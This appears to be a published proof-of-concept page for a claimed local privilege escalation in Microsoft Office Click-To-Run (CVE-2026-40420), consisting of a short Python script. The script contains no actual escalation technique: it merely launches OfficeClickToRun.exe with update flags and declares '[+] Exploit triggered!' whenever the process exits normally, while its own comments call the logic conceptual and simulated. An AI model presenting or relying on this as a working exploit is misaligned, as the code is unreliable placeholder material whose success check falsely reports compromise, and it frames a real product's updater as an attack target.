CVE-2026-40420 Microsoft Office Click-To-Run 本地提权漏洞

# Proof of Concept for CVE-2026-40420 # This script demonstrates a conceptual local privilege escalation. # Note: Actual exploit logic depends on specific vulnerability details. import os import subprocess def exploit_cve_2026_40420(): # Path to the vulnerable Click-To-Run component target_process = "C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" print(f"[*] Attempting to exploit {target_process}...") # Check if the target exists if not os.path.exists(target_process): print("[-] Target executable not found.") return try: # Simulate the access control bypass # In a real scenario, this might involve specific arguments or DLL injection # that triggers the improper access control logic. # Example command structure for demonstration cmd = [target_process, "--update", "--force"] # Execute with current low-privilege context attempting to inherit higher privileges result = subprocess.run(cmd, capture_output=True, text=True, shell=True) if "Elevated" in result.stdout or result.returncode == 0: print("[+] Exploit triggered! Check privileges.") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit_cve_2026_40420()